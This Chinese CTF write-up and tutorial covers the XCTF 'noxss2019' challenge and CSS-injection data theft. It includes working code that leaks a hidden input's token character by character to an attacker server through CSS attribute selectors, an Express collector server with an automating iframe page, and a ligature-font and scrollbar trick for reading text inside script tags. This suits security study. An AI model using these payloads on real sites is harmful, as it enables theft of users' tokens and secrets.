通过CSS注入窃取HTML中的数据

前言

这次XCTF Final很开心在队友的带领下拿了个冠军,比赛中有一道noxss2019很有意思在这里学习一下。
这篇文章可以当作是此文:https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/的翻译文。

noxss2019

可控点在@import url()路径中,但是尖括号和双引号等被转义了。
image.png

我们需要构造xss来获取下面 <script> 标签中 secret 的内容。
image.png
css本身是一种容错率很强的语言,css文件即使遇到错误,也会一直读取,直到有符合结构的语句
我们可以利用css解析的容错性构造 %0a){}body{color:red}/* 来执行任意css。
image.png
后面就是参考这篇文章:https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/去窃取管理员的secret内容。

假设我们有一个php页面

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<script>
    var TOKEN = "<?=$token2 ?>";
</script>

<style>
    <?=preg_replace('#</style#i', '#', $_GET['css']) ?>

</style>

页面中有两个token,一个在 <input> 标签中,一个在 <script> 内。然后我们需要利用css参数构造xss来窃取这两个token。

窃取input标签中的token

CSS选择器使我们能够准确选择HTML元素。

/*选择value值为abc的input标签*/
input[value="abc"] { }

/*选择value值以a开头的input标签 */
input[value^="a"] { }

因此我们可以利用此来为属性的第一个字符的所有可能值准备不同的样式

input[value^="0"] {
    background: url(http://serwer-napastnika/0);
}
input[value^="1"] {
    background: url(http://serwer-napastnika/1);
}
input[value^="2"] {
    background: url(http://serwer-napastnika/2);
}
...
input[value^="e"] {
    background: url(http://serwer-napastnika/e);
}
input[value^="f"] {
    background: url(http://serwer-napastnika/f);
}

image.png
image.png
同理我们可以依次提取出所有的token值。
然后我们需要利用javascript将上述过程自动化:

  • HTML页面将使用js把CSS提取到的内容请求到攻击者的服务器上
  • 攻击者的服务器会接受带有CSS提取的内容并进行反向通信,告诉客户端js如何提取内容
  • 客户端js与攻击者的服务器之间的通信将通过cookie。例如如果攻击者的服务器收到token的前两个字符为'49',则设置 cookie=49 ,客户端js将定期检查cookie是否已设置,如果已设置,它将使用其值生成新的CSS来提取下一个标记字符。

假设服务器后端使用nodejs实现,创建package.json 并执行npm install 

{
  "name": "css-attack-1",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "dependencies": {
    "express": "^4.15.5",
    "js-cookie": "^2.1.4"
  },
  "devDependencies": {},
  "author": "",
  "license": "ISC"
}
const express = require('express');
const app = express();

app.disable('etag');

const PORT = 3000;

app.get('/token/:token',(req,res) => {
    const { token } = req.params; //var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a;
        console.log(token);
    res.cookie('token',token);
    res.send('')
});

app.get('/cookie.js',(req,res) => {
    res.sendFile('js.cookie.js',{
        root: './node_modules/js-cookie/src/'
    });
});

app.get('/index.html',(req,res) => {
    res.sendFile('index.html',{
        root: '.'
    });
});

app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
});

然后我们需要构造一个HTML文件来窃取token的所有下一个字符。现在我们已知:

  • 我们要从0-9a-f范围内提取由32个字符组成的令牌,
  • 我们有一个存在CSS注入的页面,我们可以通过HTML的 <iframe> 标签来引用此页面。

攻击流程如下:

  1. 如果我们目前设法提取的令牌长度小于预期的长度,则我们执行以下操作
  2. 删除包含所有先前提取数据的cookie
  3. 创建一个iframe标签,并引用一个易受攻击的页面,该页面具有相应的css代码,允许我们提取另一个标记字符。
  4. 我们一直等到攻击者服务器的回调为我们设置含有token的cookie
  5. 设置cookie后,我们将其设置为当前的已知令牌值,并返回到步骤1

初步代码如下:

<!doctype html><meta charset=utf-8>
<script src="http://127.0.0.1:3000/cookie.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
    (async function() {
        const EXPECTED_TOKEN_LENGTH = 32;
        const ALPHABET = Array.from("0123456789abcdef");
                const iframe = document.getElementById('iframe');
        let extractedToken = '';

        while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
            clearTokenCookie();
            createIframeWithCss();
            extractedToken = await getTokenFromCookie();

            document.getElementById('token').textContent = extractedToken;
        }
         })();
</script>

然后我们需要补充上面的的一些功能函数

首先我们清除cookie中的token值,可以直接使用JS-cookie 库中的Cookie对象。
https://github.com/js-cookie/js-cookie

function clearTokenCookie() {
    Cookies.remove('token');
}

接下来,我们需要为 <iframe> 标签分配正确的URL:

function createIframeWithCss() {
    iframe.src = 'http://localhost:12345/?css=' + encodeURIComponent(generateCSS());
}

还要实现生成适当CSS的功能

function generateCSS() {
    let css = '';
    for (let char of ALPHABET) {
        css += `input[value^="${extractedToken}${char}"] {
            background: url(http://127.0.0.1:3000/token/${extractedToken}${char})
        }`;
    }      

    return css;
}

最后我们需要实现通过等待反向连接来设置cookie-token的功能。我们将使用JS中的 Promise 机制来构建异步函数,我们的代码每隔50毫秒检查一次cookie是否已设置,如果已设置,该函数将立即返回该值。

function getTokenFromCookie() {
    return new Promise(resolve => {
        const interval = setInterval(function() {
            const token = Cookies.get('token');
            if (token) {
                clearInterval(interval);
                resolve(token);
            }
        }, 50);
    });
}

最后,实现攻击的代码如下所示:

<!doctype html><meta charset=utf-8>
<script src="http://127.0.0.1:3000/cookie.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
    (async function() {
        const EXPECTED_TOKEN_LENGTH = 32;
        const ALPHABET = Array.from("0123456789abcdef");
        const iframe = document.getElementById('iframe');
        let extractedToken = '';

        while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
            clearTokenCookie();
            createIframeWithCss();
            extractedToken = await getTokenFromCookie();

            document.getElementById('token').textContent = extractedToken;
        }

        function getTokenFromCookie() {
            return new Promise(resolve => {
                const interval = setInterval(function() {
                    const token = Cookies.get('token');
                    if (token) {
                        clearInterval(interval);
                        resolve(token);
                    }
                }, 50);
            });
        }

        function clearTokenCookie() {
            Cookies.remove('token');
        }

        function generateCSS() {
            let css = '';
            for (let char of ALPHABET) {
                css += `input[value^="${extractedToken}${char}"] {
                    background: url(http://127.0.0.1:3000/token/${extractedToken}${char})
                }`;
            }      

            return css;
        }

        function createIframeWithCss() {
            iframe.src = 'http://localhost:12345/secret.php?css=' + encodeURIComponent(generateCSS());
        }

    })();
</script>

将其保存在index.js同目录下,并且命名为index.html。
访问127.0.0.1:3000/index.html
image.png
image.png

窃取<script>标签中的token

CSS选择器只能帮助我们根据属性值的开头来标识元素,但是我们不能对标记本身中包含的文本执行相同的操作(CSS只是没有这种类型的选择器)。

那么我们如何在<script>标签内获取token?比如下面的代码中。

<script>
    var TOKEN = "06d36aed58d87fd8db3729ab84f1fe3d";
</script>

我们将使用连字和样式滚动条定义我们自己的字体来完成攻击。
什么是连字:http://www.mzh.ren/ligature-intro.html

借助_fontforge_等其他软件  我们可以创建自己的字体包括自己的连字。
 _Fontforge_是一个相当强大的字体创建工具。我们将使用它将字体从SVG格式转换为WOFF。

#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

fontforge script.fontforge <plik>.svg 

让我们看看SVG中的字体定义如何。下面是一个简单字体的示例,其中未为拉丁字母的所有小写字母分配任何图形符号,并且宽度均为0(属性:horiz-adv-x = "0" ),同时还定义了_securak_连字  ,它也是图形符号没有,但是为他设置了很大的宽度值。

<svg>
  <defs>
    <font id="hack" horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
      <missing-glyph />
      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/>
    </font>
  </defs>
</svg>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Untitled Document</title>
<style>
@font-face {
    font-family: "hack";
    src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASQAA0AAAAABrAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAADCAAAAMUAAAESIYipMEZGVE0AAAR0AAAAGQAAAByNNn8cR0RFRgAAA9AAAAAhAAAAJABOADlHUE9TAAAEQAAAACAAAAAgbJF0j0dTVUIAAAP0AAAASQAAAFrZZNxYT1MvMgAAAYQAAABEAAAAYFXjXMBjbWFwAAACpAAAAFgAAAFKYztWsWhlYWQAAAEwAAAAKgAAADYS6ZoHaGhlYQAAAVwAAAAgAAAAJAN85DxobXR4AAAEYAAAABEAAABw5OcAAG1heHAAAAF8AAAABgAAAAYAHFAAbmFtZQAAAcgAAADaAAABYiFRA6twb3N0AAAC/AAAAAwAAAAgAAMAAHicY2BkYGAAYpOXdZLx/DZfGbiZXwBFGG4+XTMRmYYCDgYmEAUAQpwKTAAAeJxjYGRgYFb4b8EQxfyCgeHBfwYGBqAICpABAHGNBJ0AAFAAABwAAHicY2Bm/MI4gYGVgYOpi2kPAwNDD4RmfMBgyMjEwMDEwMrMAAOMDEggIM01hcGBIZGhilnhvwVDFIYaBSBkBwBaygpNeJxdkDtOAzEQhr9NNuEp6NLijmpX9ioNqahyAIr0q8jaRES7kpNcghohcQwOQM21+B2GJh7Z883on4cM3PJBQT4FJdfGIy54MB7j2BqXsnfjCTd8GU+V/5GyKK+UuTxVZR5xx73xmGcejUtp3ownzPg0nir/zYaWNa+wadd6X4h0HNkpnRTG7rhrBUsGeg4nn6SIWrShxssvdP/b/EVzKoKsksbLP6nB0B+WQ+qia2rvFi6Pk5tXIVSND1KcbbLSjMRe35EnO3XJ01jFtN8OvQu1Py/5BWsjLgEAAHicY2BgYGaAYBkGRgYQcAHyGMF8FgYNIM0GpBkZmICsqv//wSoSQfT/BVD1QMDIxoDg0AowMjGzsLKxc3BycfPw8vELCAoJi4iKiUtIStHaZqIAALdlCJ94nGNgZsALAAB9AAR4nGNkYGFhYGRkZM1ITM5mYGRiYGTQ+CHD9EOW+YcESzcPczcPSzcQsMowxPLLMDAIyDBMEZRhYJdh5BZiYAap5mMQYhArjk+Nz44vjS+KT4zPBpkENg0InBicGVwYXBncGNwZPBg8GbwYvBl8GHwZ/Bj8GQIYAhmCGIIZQhhCGcIYwhkiGCIZohiiGdsZZBgZWdi5eAWExSRl5JVUNbT1DE3MrWwdnN08ffyDIn7V8PWIURPJPPgPJLtFukW7ebgA4FE4WAAAAHicY2BkYGDgAWIZIGYCQkYGKSCWBkImBhawGAMACZ8AiAAAAHicLYk7CoAwFATnwROD6QxWiifwUqmCEKxy/7h+imWYWQyY2DmwmttFwFXoneexepasxmf6/GXQtp/OyshAZGGWR81IN43bBm8AAAAAAQAAAAoAHAAeAAFsYXRuAAgABAAAAAD//wAAAAAAAHicY37BQDfw4D8DAwBs1QLLAAAAeJxjYGBgZACCm9mqP8H00zUTYTQAVA0IWgAAAA==);
}    

span {
    background: lightblue;
    font-family: "hack";
}
body {
    white-space: nowrap;
}
body{
    overflow-y: hidden;
    overflow-x: auto;
}
body::-webkit-scrollbar {
    background-color: blue;
}
body::-webkit-scrollbar:horizontal {
    background: url(http://127.0.0.1:999);
}
</style>
</head>
<body>
<span id=span>123sekurak123</span>
</body>
</html>


我们设置iframe的width=900px,连字体设置非常大,当出现连字sekurak时就会出现滚动条,从而请求攻击者的服务器。
image.png

后面的思路可以看zsx师傅写的https://xz.aliyun.com/t/6655#toc-5
image.png